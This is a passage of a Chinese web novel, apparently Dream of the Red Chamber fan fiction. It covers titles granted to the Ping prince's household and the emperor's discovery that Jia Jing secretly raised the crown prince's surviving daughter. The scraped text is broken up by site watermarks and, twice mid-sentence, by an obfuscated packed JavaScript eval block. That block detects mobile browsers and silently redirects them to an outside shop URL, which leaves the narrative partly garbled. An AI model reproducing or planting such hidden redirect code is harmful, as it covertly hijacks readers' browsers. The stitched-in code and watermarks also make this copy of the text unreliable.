徒嘉钰听了有些遗憾说道:“可惜我不能随便离京要不然我得亲眼看着造船下水才好要不然的话也不知道图纸到底有没有问题!” 顾晓安慰道:“船厂那边都是老船工了人家自然知道什么样的船更好用便是有什么要改的地方我也叫他们写信在图纸上标注出来你回头对照着看看便是!至 于别的,就看以后有没有机会了!” 徒嘉钰有些兴奋,说道:“回头皇伯若是也跟皇祖父一样南巡,我一定得求着随扈才行,到时候就可以真的看到大海了!也不知道大海是什么样子!” 顾晓上辈子倒是见过,但这辈子却没这样的经历,只得安慰徒嘉钰,说道:“那你可得早点跟你皇伯说,要不然的话,临时抱佛脚,可不行!” 徒嘉钰用力点了点头,又说道:“我先跟珩大哥说才是!”他心里忽然生出一个想法来,要是如今皇位上坐着的是徒嘉珩就好了,他们一块长大,有的时候比亲兄弟还亲,那样的话,他要是开口跟着随扈,珩大哥肯定会同意的。 这个想法就是一闪而过,他自个都吓了一跳。 见徒嘉钰面色有异,顾晓不免有些奇怪,问道:“你想到什么了,脸色变个不停!” 徒嘉钰回过神来,忙说道:“没什么,我就是想着出海的事情呢!” 顾晓笑道:“一山望着一山高,还没跟着南巡呢,就想着出海了!” 徒嘉钰看着顾晓,试探道:“妈,要是我有机会出海,你肯答应吗?” 顾晓斩钉截铁地说道:“那有什么不答应的,好男儿志在四方,能看看外头的世界有多宽广,那是好事啊!要是我有机会,我也想要出去!” 后世的顾晓节假日宁可宅在家里,也不想出门,但是如今,却是不能出门,这根本就是两回事!王府虽然大,也能找机会出去,但是不是去外头做客,就是烧香礼佛,最多就是去庄子上,顾晓早就腻了! 这个时代对于顾晓来说,就是个锦衣玉食的囚笼,除了住得宽敞一些,上哪儿都有一大群人伺候着,别的方面真不如后世那般方便。 后世只要有钱有闲,随时都可以来一次说走就走的旅行,可以走遍地球的没一个角落。而现在呢,顾晓便是人上人,许多事情也没那么方便。 听得顾晓这般说,徒嘉钰不免眼睛一亮,笑嘻嘻凑过来:“妈,你真好!我还以为你要跟我说什么父母在,不远游呢!” “那下面不还有个游必有方吗?”顾晓含笑说道,“你虽然是我生的,但又不是提线木偶,叫你干什么就干什么,你有自己的想法,并且愿意为之付出努力,我比什么都高兴!” 徒嘉钰听得顾晓这般说,又想着末儿如今还在折腾他的油画,不免愈发动容起来,相比较起来,李氏对徒嘉泽就没这样了,李氏如今将徒嘉泽盯得死紧,就等着徒嘉泽什么时候开府,什么时候跟过去呢!要是徒嘉泽说要出远门,李氏只怕立马能跳起来。 徒嘉钰心中腹诽了一下李氏,然后才笑嘻嘻说道:“妈,你放心,不管我去哪儿,最终总归是要回来的!” 顾晓温和地看着他:“好,那妈可就记着了!” 母子两人温情脉脉,一时间都将之前那些闲言碎语忘得干干净净。外头说什么,与他们也没什么干系,各家的日子各家过,何况,很快,平王府就成了各家羡慕的对象。 封爵的旨意下来了,徒嘉钰继承平王之爵,徒嘉泽封了镇国将军,而末儿这边,却是另外册封为荣王,由内务府择地另建王府,等着日后迁出。 一时间,整个宗室都震动了。 作者有话要说 第 175 章 父皇,儿子今天可... 第175章父皇,儿子今天可 这些年来,宗室封爵愈发吝啬,人口多一点的人家,庶出的子女想要捞到爵位,简直比登天还难。结果如今平王府一个原级袭爵也就不说了,这是大家早就知道的事情,谁让先平王死得早呢!只是,连嫡幼子也跟着封了亲王,这就让许多人难以接受。 许多宗室没法去找圣上和太上皇做主,只能去宗人府叫不平,凭什么人家一府两个亲王,自家连个最低的奉国中尉都捞不着。一些阴暗一点的,都联想到桃色新闻上去。尤其当年宫里李才人闹出来的事情,如今还有人记得,原本以为平王太妃会因为不孝吃顿排头,最后却是先平王直接被改了玉牒,李才人一撸到底,直接给打发到冷宫去了。 如今圣上下的册封诏书上,又明确写了奉太上皇旨意,册封平王府嫡次子为荣王。又是亲王,这封号也比平好听,这叫人难免不想歪。 好在圣上早就将此事跟庆王还有几个宗室长辈通过气,说了顾晓之前的功劳,明说此事就是酬功,谁要是不服气,你也一年给朝廷百万两银子花销? 当年平王府并未对外张扬,因此,大家都不知道此事内情,如今说出去,许多人还是半信半疑,不过更多的人倒是信了,不免说什么的都有。 顾晓只当什么都不知道,其他各府摆酒请客,她就也跟着摆酒请客,也没想着自家多了个亲王,然后多请一次。包子有肉不在褶上,低调一点没有坏处。 不管是宗室封爵还是外头功臣封爵,都有相应的爵产,内务府这边前脚拿了许多舆图过来圈修建王府的地方,后脚就将安排给末儿的庄子铺子还有附带的下人名录都一块儿送了过来,等着末儿点头了,这些人就要一波波过来先给末儿磕头,看末儿怎么安排差事。 末儿那是真的觉得是一块天大的馅饼平白落到了自己头上,他原以为自己顶多是个镇国将军呢,如今到手居然是个亲王,人都傻了,居然先跑去问徒嘉钰:“哥,我这个年岁了,应该不用再去弘文馆读书了吧!” 徒嘉钰只觉哭笑不得:“皇祖父与皇伯既然没有别的恩旨降下,那自然是不需要的!” 末儿不免松了口气,嘀咕道:“那就好,在家里好好的,谁耐烦跑到弘文馆去 !”他不像是徒嘉钰,因为原本就是府里承爵的人,之前常常出去交际,又在弘文馆跟徒嘉珩同窗,因此对圣上,也有几分孺慕之意,他其实跟隔壁几个小的更熟一点,当然,也就是比跟宗室里头其他堂兄弟略熟一点,至于多深的交情,那是没有的。 见末儿没心没肺模样,徒嘉钰笑道:“你也别想着躲懒,如今也是亲王了,许多事情却是躲不过去!便是二弟那边也是一样,袭爵了就是大人,各个场合都得参加,要不然就是不恭!” 末儿本来就是个有些怕麻烦的性子,不过实际上因为没有官职的缘故,徒嘉钰给他算了一下大致需要出席的场合,发现也就是每年三节两寿之类的节日,他们需要露面,其他时候,还是该干嘛就干嘛,最多就是正月里头,不像是之前一样,可以叫徒嘉钰一个人代表平王府出门,如今他们可就都得出去了。 这么一算,倒也没有比之前忙多少,无非就是进宫朝贺之类的事情繁琐一些,末儿顿时喜气洋洋起来,说道:“哥,快,帮我参详一下,我的王府选什么地方为好!得近一点的,地方也要大一点,回头我也接了妈妈过去住着!” 徒嘉钰不乐意了:“怎么就你接了,妈是平王府的太妃,我也是家里的长子,自然是跟着我住!” 末儿赶紧说道:“我没说不是啊,但是妈老是住在平王府里头,天天看的都是一样的东西,不也觉得无聊嘛,到我那边小住几日,换个地方,也换个心情!” “最好只是小住!”徒嘉钰不放心,又叮嘱了几句,末儿从小跟着顾晓,跟屁虫一样,回头别人接过去了,不肯送回来了! 兄弟两个为了这事磨了一番牙,才一块头碰头寻摸合适的地方。因着太上皇下头几个年纪比较小的儿子也到了封爵的年纪,因此,之前几个获罪的王爷留下的王府也都已经分出去了。如今内城里头空地也不多,内务府圈出来的多半是官房,一般是赁出去给京中官员们住的,这些租金也是内务府收入的一部分。如今既然要兴建王府,圈好地方后,就得将人清出去,另外择地居住。 好在京中真正得用的大臣,便是自家没有宅子,圣上也会赐宅,需要赁宅居住的也多是些品级不高的小官,他们搬出去之后,估摸着租的还是内务府的官房,因此,倒也不怕引起什么怨言。 两人对着舆图看了半天才选中了一块地方跟平王府就隔了一条街那边地方也宽敞回头收拾起来也便宜。 只是选好了地方还不算还得翻修重建从普通的官房建成王府的规格这也不是一天两天能解决的好在末儿也不急着搬出去因此只是先叫人将图纸画出来自己这边再调整然后就乐滋滋回自个院子去了。 徒嘉泽跟李氏也是欢喜他们倒是没有嫉妒末儿的运气顾晓的功劳无论如何不会落到徒嘉泽头上便是没有末儿皇家也只会额外加恩徒嘉钰比如说赏他双亲王俸禄或者是允他这个爵位下一代可以不用降级。 原本徒嘉泽作为次子能封个辅国将军就不错了如今上来就是镇国将军母子两个也是喜出望外。 徒嘉泽的府邸倒是不用另建宗人府里头就有现成的回头挑一个便是。倒是辅国将军该有的产业也分了下来虽说就一个庄子一个铺子但这就是徒嘉泽正经的私产看着契书李氏只觉这辈子别无所求了。 好不容易将契书仔仔细细都看了一遍又郑重其事地拿了个填金紫檀木匣子收起来李氏又说道:“虽说已经封爵了你还没成婚呢且没必要搬出去!留在府里头就有你一份份例吃喝用度不用你自个操心要是搬出去了可就没这样便宜。” 徒嘉泽就这么老老实实看着李氏掰着手指算账:“你一个镇国将军一年不过就是一千五百两银子的俸禄便是加上庄子铺子的出息 徒嘉泽以前没细算过如今听李氏这么一算都有些不好意思起来:“那个我都封爵了还赖在家里头……” 李氏如今也不急着出去做老封君乐笃定地说道:“怕什么你还没成婚呢!娘娘也还在犯不着这么早就分家!横竖你身体也不好也该晚点娶妻最早也得等到 大婚了再搬出去!依我的意思,只要娘娘不开口,你就留在府里得了! 徒嘉泽愈发脸红起来,这不是占便宜没够嘛!结果李氏倒是理直气壮:“他们两个都是亲王,指头缝里头漏出一点,就够你用的了,你跟亲兄弟客气什么! 徒嘉泽没好意思说,这终究是隔了母的,他琢磨一番,如今自己还没成家,的确没必要现在就搬出去,不过也不能真的就这么厚着脸皮在府里住着,既然以后自己有俸禄了,不如每年年节的时候,好好准备一份节礼,给娘娘送去,也是自己的一片孝心。 当然,自家母妃这边也不能少了,免得她有想法。瞧着李氏神采飞扬的模样,徒嘉泽也有些高兴。其实他也知道,这些年为了他封爵的事情,李氏一直也有些悬心,毕竟,府里头三个孩子,一个已经原级继承了王位,按照道理,便是好几个嫡子,也只有一个能封镇国将军,其他的只能封辅国将军,轮到庶子,能捞个镇国中尉就算不错,有的甚至连个奉国中尉也捞不着,他们府里虽说人口少,但若是正院记恨当年的事情,略漏出点口风,回头宗人府那边定封的时候笔一歪,爵位就落下去了。 只是这些年正院一直宽厚,李氏就怕事到临头,那边冷不丁来个狠的,叫他们母子有苦说不出。如今一看,正院果然没有心里藏奸的意思,她反倒是热络起来,乐意留在府里了。 说是去跟着儿子做老封君,实际上,她这个出身,回头也辖制不住儿媳妇,而且她在府里头,如今跟几个太姨娘也熟络起来,大家没事抹抹骨牌,逗逗闷子,也算是热闹,等出去了呢,她这个身份,也不方便出去跟人交际,若儿媳妇不贴心,岂不是天天得闷在家里。 换做以前,她琢磨着会给儿子找个肯孝顺自己的侧室,但是如今她不敢这样想了。家和万事兴,宗室里头,总归是嫡子嫡女更贵重一些,她回头闹出这些事故来,只怕平王府这边也不肯与她往来了,到时候又算什么呢? 因此,如今李氏算是下定了决心,便是赖,也要赖在府里,最好等着自己有孙子孙女可以逗弄了,再搬出去,到时候含饴弄孙,也不用再找几个太姨娘做牌搭子。 这些话肯定是不能跟儿子说的,因此,她也只好跟儿子算经济账。徒嘉泽尴尬之下,只得跑去找徒嘉钰和末儿,拐弯抹角 说更新,记住域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 地将这事说了。 徒嘉钰一挥手,直接说道:“咱们是亲兄弟,说这些做什么,真要是封了爵,就得搬出去,我妈那边能跑宫里哭去!要我说,平王府地方也大,尽管住着就是。便是以后你们分出去了,这几个院子也是留给你们的,就怕你们到时候嫌逼仄了!” 末儿笑嘻嘻说道:“妈在这里,反正我是要经常回来的!” 见徒嘉钰和末儿都不计较的模样,徒嘉泽也是松了口气,心里想着,今年头一年拿俸禄,回头就拿了置办一些东西,好好送一波礼才行。 这边兄弟之间其乐融融,其他几家已经开始张罗着分家了。 端王府那边庶子庶女都有,庶女得留在府里待嫁,庶子封了个辅国将军,内务府那边也安排了府邸,端王太妃也不管庶子年纪还小,就直接叫人带着生母搬了出去。 颖王府也是一样,嗣王早就记在了颖王太妃名下,偏偏那会儿年纪已经大了,生母又是侧太妃的身份,这些年一直各种不满,觉得颖王太妃夺了她的儿子。如今儿子袭爵,她却不能跟着做太妃,还顶着个侧太妃的名字,后院最好的院子也是颖王太妃的,她只能住在偏院,早就憋了一肚子气。颖王太妃因为儿子不是亲生的,如今也不管事,横竖只要少不了她那份孝敬,她就睁只眼闭只眼,侧太妃也不敢犯到她面前,免得她撕破了脸,直接将她打发出去,毕竟,颖王太妃都顶了个夺人子嗣的名头了,做实了也算不得什么! 因着颖王太妃曾经想过扶持另一个庶子的缘故,哪怕如今尘埃落定,侧太妃也容不得了,直接吵着要将人打发出去,新任颖王本来就更听自己生母的话,在颖王太妃那边就是个面子情,一直觉得生母受了委屈,如今既然生母不喜,他本身跟那个兄弟也不算亲近,可不想留在家里吃自己的米粮,因此,也直接将人给一并打发了。 真正绝嗣的安王太妃只有继续猫着的份,只能盼着太上皇驾崩,回头再求当今给自己做主。她如今算是知道,一个没孩子寡妇的艰难之处,虽说她手里也有王府的产业,自己也有俸禄,可是她下面没有儿子,府里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464946|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是下人,也不是很服管,一个个明着将她当冤大头。她却不敢过于追究,毕竟,她能信得过的人就那几个,真要是不肯叫那些下人占便宜,他们联合起来,便是不至于弑主,恶心安 王太妃的本事还是有的。 她现在也是后悔,要是当初没有被简王妃糊弄,老老实实听从了太上皇的意思,甭管过继的是谁,半大的孩子,很快就养熟了,也跟自己亲生的没什么两样。而如今,可就没这样的好事了,便是过继,过继来的起码也是半大的孩子,早就记事了,估摸着不掏摸了自己这边的家当去贴补生父生母就不错了! 只是事到如今,后悔也是无用,只能熬着。也就是那些下人还知道,一旦她出了问题,他们那些下人也没好果子吃,便是她死得早一些,他们也捞不着更好的差事了,因此,即便各种贪婪无度,该伺候安王太妃的地方还是伺候了的。 等着宗室里头什么封爵宴,乔迁宴都办了个差不离,时间已经到了盛夏。 宫里头,夏守忠总算是查出了一点蛛丝马迹,将事情禀报了上去。 “你是说,太上皇并不知道这事?”圣上听着夏守忠的话,有些不相信。 夏守忠赶紧说道:“奴婢仔细打听了一番,似乎太上皇只是有心给义忠亲王过继嗣子,倒是不知道义忠亲王尚有血脉在世!” 圣上听了,便若有所思起来,再看看密折上头的文字,轻笑一声:“这贾敬倒是有趣,将人偷出去,往养生堂一丢,便不管了!” 夏守忠不知道该说什么好,当时乱糟糟的,义忠亲王那个侍妾惊惧之中早产,孩子一开始连哭声都没有,因此,硬是没引起什么注意,就被发现的贾敬趁乱运了出去。东宫那场大火烧得厉害,许多人都直接被烧成了干尸,自然没人想到里头还有个孕妇,只看了主仆人数都对得上,便没有再追究。 贾敬将人藏在自家庄子上,叫一个刚死了孩子的仆妇养着。饶是如此,后来这仆妇夫妇也被灭了口,那一年,养生堂也燃起了一把大火,不少孩子死在火海中,贾敬趁机就将人送到了养生堂。然后顺天府没钱重修养生堂,只好鼓励京中富户收养养生堂的孩子。 然后当时不过是个从八品营缮所所副的秦业,就在贾敬的安排下,去养生堂收养了一儿一女,结果没两年,那个儿子就死了,只留下这个女儿。 后来工部营缮司被查,秦业却逃出一劫,还升了官,如今已经是营缮郎,前年的时候,老妻竟是老蚌含珠,又给他生下一个儿子,他对外说这个儿 子是收养了长女才带来的,对长女愈发疼爱起来。 秦业这等没什么根基的小官,家里清寒,当年受过贾敬的恩惠,虽说不知道秦可卿的身份,却也妥妥帖帖将人养在家中。因着秦可卿从小就一副好容貌,秦业怕被人惦记,愈发不肯叫外人见她。夏守忠的人费了不少力气,才算是见到了秦可卿一面,见了之后,就确定,这位应该就是义忠亲王之女,因为她眉眼之间跟义忠亲王颇有些相似之处,身上还有一块玉佩,虽说没有御制的标记,但是详查之后,就发现是东宫当年在造办处定制,赏给东宫女眷的,上头隐秘之处,还有东宫的印记。秦业位卑职小,没什么见识,不知究底,但是宫里的人略一分辨,就能看出来。 贾敬倒也没有真的不管,按照秦业的说法,贾敬说过,等到这孩子到了成亲的年纪,就去找他,他早就给这孩子准备了一份嫁妆,叫她可以风风光光出嫁。因此,秦业一直以为,这孩子其实是贾敬的私生女,不过是因为生母身份上头有些不可告人之处,所以才托付他养着。为此,贾敬曾经将一个小庄子记在了秦业名下,但是这个庄子每年的出产却不是个小数字,这只能是贾敬额外贴补的。 圣上话是这么说,实际上也能明白贾敬的苦心。毕竟义忠亲王一直没有平 反,这个孩子根本不可能认祖归宗,甚至一个不好,还要被人利用。与其在什么都不知道的情况下卷入旋涡,不如做个小官家的女儿,找个差不多的人家嫁了,一辈子也能平平安安。 只是这事既然圣上知道了,就不能将秦可卿放在外面不管。对于有心人来说,秦可卿是女孩子又如何?既然当年秦业从养生堂抱养了一儿一女,他们就可以说,贾敬当年救出来的是一双孩子,或者说,秦可卿根本就是放在外头掩人耳目的,到时候再弄出个义忠亲王的遗腹子出来,回头骗过了太上皇,到时候乐子可就大了。 所以,这事就不能瞒着太上皇,反而得早点跟太上皇一起商量,该怎么对待秦可卿。是将人认回来,还是找个妥当的人家将人嫁出去。但凡牵扯到义忠亲王的事情,就别想绕得开太上皇,否则他回头知道了,追究起来,自己又要落得一身不是。 这般一想,圣上在心里复盘了一下说辞,便拿着密折还有一并奉上来的玉佩往大明宫去了。 大明宫那边,甄家刚刚又截取了一批盐税献给了太上皇,太上皇又要安抚贵太妃和纯王母子,便叫人从自己私库里头寻了几样好东西,准备赏赐纯王一番,听得外头传话的太监说圣上来了,竟是生出了一点心虚来,忙对戴权说道:“再找几样东西,回头给珩哥儿,嗯,其他几个皇子也分一分吧!” 圣上进来的时候,正好听到后半截话,也没多想,笑道:“那儿子就代几个孩子多谢父皇赏赐了!不过,父皇,儿子今天可是带了好消息过来,回头父皇若是不赏一下儿子,儿子可是不依的!” 作者有话要说 第 176 章 这么说,朕是不是... 第176章这么说,朕是不是 “你都是一国之君了,还计较这些!”太上皇瞧着圣上一副笑意盈盈的模样,忍不住笑骂道,“说吧,有什么好消息,要是说得朕不满意,朕可是要罚的!” 圣上直接按照自己之前想好的说辞,说道:“也是巧了,之前父皇跟儿子说到当年大哥的事情,儿子便想到东宫旧事,正好手里有几样当年东宫的旧物,便拿出来赏玩了一番,结果看到上头竟是留着宁国府贾敬的印信!不免就想起这个人来,他终究是两榜进士出身,又是开国功臣之后,如今也是盛年,正是为国出力的好时候,哪能在道观里头荒废呢!” 太上皇听了,也想起贾敬来,如果说贾赦在太上皇眼里,就是个顽皮的子侄辈,那贾敬,就是个出挑的青年俊杰。可惜因着是勋贵出身,便是走了科举之路,也被那些文官排挤,最后干脆进了东宫做了詹士。 贾敬虽说那会儿年轻,为人老道,行事也极有章法,太上皇那会儿就觉得等以后义忠亲王登基,贾敬正好能做新皇臂膀。结果后来出了个宫变,贾敬就跟吓破了胆一样,居然连爵位都让给了儿子,自己出家了。 想到这里,他嫌弃道:“他荒废了这么多年,还能有多少心气,你找上门去,他说什么了?” 圣上苦笑道:“他如今竟真是一心向道了,玄真观里头养了许多道士,每日里烧铅炼汞,踏罡步斗的,外头的事情半点也不管了,听闻他儿子有些混帐习性,还是贾赦这个隔房叔叔做主,硬是将人塞到了京营里头,好磨掉他身上那些坏习性,他却是半点不闻不问!” 太上皇一听,冷哼一声,说道:“没个刚性的东西,贾代化便是不如代善,也是英雄一世,怎么就生了这么个儿子!当初在翰林院被人排挤,就甩手不干了,义忠出了事,他又不干了!依朕的意思,就他这样的,就叫他在道观里头自生自灭去吧!” 圣上干笑一声,说道:“那个,贾敬算起来也是对大哥忠心耿耿……” 太上皇愈发听不过去:“什么忠心耿耿,他真要是忠心,还出什么家,怎么不殉了去!” 圣上赶紧说道:“父皇,儿子过来正是为了这事,儿子原本想要找个理由,激一下贾敬,结果意外发现,他拿 着在玄真观修道作为遮掩每年都从宁国府支了不少钱私底下却置办了一些东西似乎是女子的嫁妆!原本儿子还以为他在外头荒唐有了孩子结果一查才知道他当年竟是救下了大哥的一个女儿!” 太上皇听了 圣上只得将密折递了过去太上皇劈手夺过一目十行然后整个人都有些颓丧起来:“没想到没想到他还有血脉在世!” 折子上没说贾敬是怎么将人弄出去的圣上这边派出去的人查访了当年宫中的一些禁卫只知道贾敬当时神情慌乱正好贾代善进宫护驾他借着这个机会先溜出了宫那会儿东宫已经火势冲天大家都以为贾敬是见势不好先跑了如今一些人隐约想起来就记得当时贾敬怀里似乎有什么东西身上还带着血腥味。看起来他应该就是将孩子藏在怀里趁乱出了宫。 密折上头是贾家庄子上一些庄户的口供养生堂那边倒是什么也没查出来那场大火倒不是贾敬放的而是凑巧了。按照贾家经手此事的人的说法是贾敬一听说养生堂起了大火就临时起意找了他过去借着救火的名头将孩子混到了养生堂那些孩子里头当时怕之后弄错还用特殊的印泥在孩子手背上留了记号别人只当是胎记实际上根本不是不洗个十次八次根本洗不掉。 为了防止孩子被别人带走贾敬一直叫人盯着养生堂那边的情况顺天府前脚说了鼓励人收养那些孩子后脚贾敬就找上了一直无子的秦业叫他将孩子带走了怕别人怀疑还多收养了一个儿子。 太上皇将密折看完眼中竟是露出凶光来:“去把贾敬找过来朕要问问他他到底是何居心他既然去了东宫怎么就不拦着!” 这纯然是不讲道理了当时都到了那个地步贾敬能有什么办法不过既然是太上皇圣上也没办法只得吩咐夏守忠:“去玄真观传贾敬进宫!” 太上皇却是对戴权说道:“你也一块去!”俨然是信不过夏守忠生怕夏守忠跟贾敬提前通气了。 戴权赶紧应了下来他以前倒是跟贾家几代人往来都极为密切的但归根结底他的主子还是太上皇如今牵扯到义忠亲王别说 是只有点交情的贾敬,便是贾代化还活着,他也不敢糊弄太上皇。 戴权与夏守忠都不敢怠慢,出了宫门,直接就骑着快马往玄真观去了,一些认识的人看到他们这般,都是吓了一跳,还不知道出了什么事,竟是叫大明宫和兴庆宫两个总管太监出动。 结果到了玄真观,贾敬竟是正在跟几个道士开无遮大会,香烟缭绕,还有人敲着玉磬玉钟,口中还念着不知道什么经文,荒唐YIN靡中竟是还有点古怪的神圣意味。 这边道观并不对外开放,因此也无什么知客,只有几个道童伺候,几个道童知道里头的事情,原本不敢让人进来,但戴权夏守忠什么人物,哪里拦得住,见他们瞧见,只得期期艾艾地解释,这是在合籍双修,好阴阳调和,以求生出先天一炁来。 戴权和夏守忠都傻了眼,之前就听说贾敬如今荒唐,却没想到竟是荒唐到这个份上,这都叫什么事啊! 瞧着贾敬还半梦半醒的模样,戴权一咬牙,直接呵斥道:“将他们都撵走,成何体统,快给你们太爷洗漱更衣,急着要面圣呢! 贾敬刚从一个看起来颇为丰腴的妇人身上坐起来,一时间有些口干舌燥,便胡乱摸索了一下,从一边拎起一个茶壶,先给自己灌了两口,人略微清醒了一些,就发现边上一副乱糟糟兵荒马乱的样子,再一转头,就看到脸色难看的戴权和夏守忠。 他跟夏守忠不熟,以前在东宫也就是见过几面,这都多少年过去,夏守忠也不是当年那个低眉顺眼的小太监了,但是戴权变化却不是很大,贾敬吃吃笑着,晕乎乎说道:“原来是戴总管,总管今儿过来,可是有什么事情吩咐? 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 戴权咬了咬牙,贾敬如今无官无爵,都不知道该怎么称呼,只得对着几个道童呵斥道:“还愣着做什么,赶紧给他更衣,总不能叫皇爷那边等着? 贾敬这回听清楚了,整个人一个激灵,他连滚带爬地站了起来,差点没摔个跟头,他深吸了一口气,看着戴权不像是刚才那样漫不经心了,有些紧张地问道:“我现在就是个闲散之人,上皇找我作甚? 夏守忠在一边笑眯眯说道:“不光是老皇爷,还有咱们皇爷呢! 贾敬本就是机敏的性子,这会儿心里就是一突,琢磨着只怕是事发了。只是这事他自觉问心无愧, 便是再来一次,他也还会这么做。这般一想,人又坦然起来,直接吩咐道:“去,打了水来,我梳洗一下!” 他依旧换了一身道袍,踩着云履,头上戴了一顶纯阳巾,仔细打理了一下,倒还能看出当年的一点翩然气度来。只是刚才见识了一下贾敬的荒唐之处,戴权和夏守忠硬是在贾敬身上看出了一些猥琐来。 一时间觉得没眼看,戴权只得说道:“皇爷等着呢,走吧!” 贾敬虽说是进士,但也是勋贵家庭出身,自然也能骑马,不过因着刚才的荒唐,他先找了点薄荷膏在眉心太阳穴都抹了一点,连着人中处也抹了一点,整个人立马精神起来。 一路骑马疾行,贾敬也在心里整理说辞。这种事情,说严重点,那就是欺君之罪。好在都过去这么多年,那又是个女孩子,不会对皇权有什么影响,上头想起来,也只有宽容的。只不过自己这边,只怕难免得吃一顿排头。不过他现在已经是这样了,这么多年苟且偷生,也算是活够了! 大明宫那边,太上皇还在发火:“那个混账东西,便是当时不敢说,过了几年,朕都追封了,他还不敢说?朕看他就是有什么小心思,用心不纯!” 圣上在一边面上符合,心里腹诽,就您老这个脾气,他那时候说了,又能如何?只怕疑心病只有比现在更重的。 “只怕贾敬是被吓着了,你看他这么多年,不就是跟吓破胆一样,就缩在那什么玄真观里头!”圣上小心翼翼地给贾敬辩解,不管怎么说,这位攥着个义忠亲王遗孤,却从来不曾闹出什么事端来,可见还是敬畏皇家的,不曾想过别的事情。 他之前也有些担忧,如今知道就是个侄女,不免就宽心了,他当年也多蒙东宫照顾,义忠亲王虽说只是留了一个女儿,但也是他的骨血,总归对他是个安慰。因此,这会儿瞧着太上皇一副耿耿于怀的模样,不免多说了几句。 结果太上皇还急眼了:“我就知道你们当初都在东宫,应该有些私谊,只是,那才是你亲哥哥,你别亲疏不分!” 圣上赶紧说道:“不管怎么说,贾敬也保全了兄长一条血脉,总归也算有功吧!” 太上皇依旧气哼哼的:“哼,谁知道当时是个什么情况!” 圣上只得继续劝道:“好歹等人来了问清楚再说,总 不能不教而诛吧!” 安抚了半天,瞧着太上皇心绪平静了一些,贾敬也过来了。 瞧见贾敬一身道士装扮,行的也是道家的礼仪,太上皇正想要骂几句,却见贾敬留了胡子,看起来竟是跟个小老头一般,明明是自己的晚辈,竟是与自己像是一代人,不免愕然,但是出口说出来的话,却依旧带着几分讥讽:“你不是要修道成仙嘛,怎么没修出什么名堂来,倒是将自己弄得老了足有十几二十岁?” 贾敬一路上不知道做了多少思想准备,结果太上皇开口却说了这个,不免愕然。他自己自我感觉良好,每日里颇有些飘飘欲仙之感。道观里头便是有镜子,也是那种法镜,其实不怎么照得出人影来,这被太上皇一说,贾敬竟是有点破防了,好半天才憋出一句:“小道道行浅薄,的确未曾真正入道!” “朕看你不光是没有入道,还有违清净自然之道,就你这种,真要能得道,那就是老天爷瞎了眼!”太上皇没好气地骂道。 贾敬闷头不吭声,一边圣上只好先开呵斥道:“贾敬,你可知罪?” 贾敬利索地跪了下来,嘴却是很硬:“小道不知何罪之有!” 圣上冷笑一声,说道:“秦业你认不认识?” 太上皇在一边听着,觉得自家这个儿子毕竟是刑部待过的,竟是玩起了审案那一套,好在他这会儿肚子里的气也消了大半,便坐在一边,安心听圣上发话! 贾敬早就猜到是这件事,干脆老老实实说道:“小道认识,是工部营缮司的营缮郎。” “你不是出家了吗?他什么时候升了营缮郎你倒是知道得清楚!”圣上冷笑一声,说道。 贾敬知道这父子两个是故意给自己下马威,只得老老实实低头,说道:“是小道六根不净,难怪迟迟不能入道!”他这话说得有些不像,六根不净是佛家的说法,道家却没这个意思。不过既然上头非要在这上头找茬,也只能认了。 圣上阴阳怪气地说道:“是啊,一个六七品的小官,竟是将家里女儿养得跟大家闺秀一样,丫头婆子伺候着,大门不出二门不迈!” 贾敬深吸了一口气,依旧低着头说道:“那也是营缮郎持家有方,珍爱女儿的缘故!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464947|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见两人迟早说不到正题上,太上皇已经不耐烦了,他多年 大权独揽,有几个人敢在他那里绕圈子的,当下直接就说道:“行了,别在那里跟朕打什么机锋,你直接告诉朕,那孩子是不是义忠的? 贾敬喉咙抖动了几下,也没法再拐弯抹角了,只得老老实实说道:“不错,正是先太子的!他至今依旧称呼对方为太子,倒是叫太上皇忍不住叹了口气。 “说吧,当时怎么回事,你既然去了,怎么没拦下义忠?太上皇问道。 贾敬抿了抿嘴唇,苦笑道:“我被关在家里,也就是趁着那会儿正乱着,叫家里的亲兵做掩护,才混进了宫里,那会儿东宫已经着火了,我去的时候,先太子已经自刎,我眼睁睁看着他咽下了最后一口气!我原本都想要走了,却听见后头有人的哭声,原本以为是东宫的宫人,当时想着,先太子已经薨了,莫要多伤了他的德性,便叫人救火,让困在火中的宫人可以自寻生路,结果却是先太子的一个姬妾。我之前也未曾见过,毕竟,我们这些东宫属官怎么也不好去管内宅的事情,这些都是太子妃管着。那姬妾刚刚早产,生下了一个孩子,这会儿却是大出血,俨然已经不行了,她见了我,就拿了一块玉佩给我作信物,求我救她的孩子。那孩子就被生在一条摊开的帐幔里头,身上都是血水,哭声很小,就跟猫儿一样,手脚上连指甲也没长全,我都以为是活不成的。我那时候就想着,我将人带出去,是生是死,都是她的命!因而,我解了衣袍,人藏在衣服里头,也顾不得跟叔父说一声,就先回去了! 